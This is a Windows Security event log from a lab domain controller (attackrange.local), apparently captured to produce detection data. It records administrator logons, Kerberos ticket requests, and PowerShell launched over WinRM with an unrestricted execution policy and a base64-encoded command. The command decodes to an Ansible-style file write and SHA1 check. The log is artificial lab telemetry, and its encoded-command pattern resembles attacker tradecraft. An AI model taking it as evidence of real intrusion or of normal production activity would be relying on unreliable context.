WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251132 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251131 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251130 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251129 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128D1E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251128 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128D1E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251127 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251126 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251125 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251124 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xac4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADMALgA5ADcAMAA4ADcAMgAyAC0ANAA5ADgANwAzADkAMAA1ADUAOQAzADcANQA3AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251123 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12528E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xac4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADMALgA5ADcAMAA4ADcAMgAyAC0ANAA5ADgANwAzADkAMAA1ADUAOQAzADcANQA3AFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251122 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128B0F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251121 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128B0F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251120 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251119 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251118 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251117 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128AF3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251116 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128AF3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251115 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x128AF3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251114 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:38 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251113 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {7EC1AB8C-1652-DE21-6D8B-FF9ADFA9BF71} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - 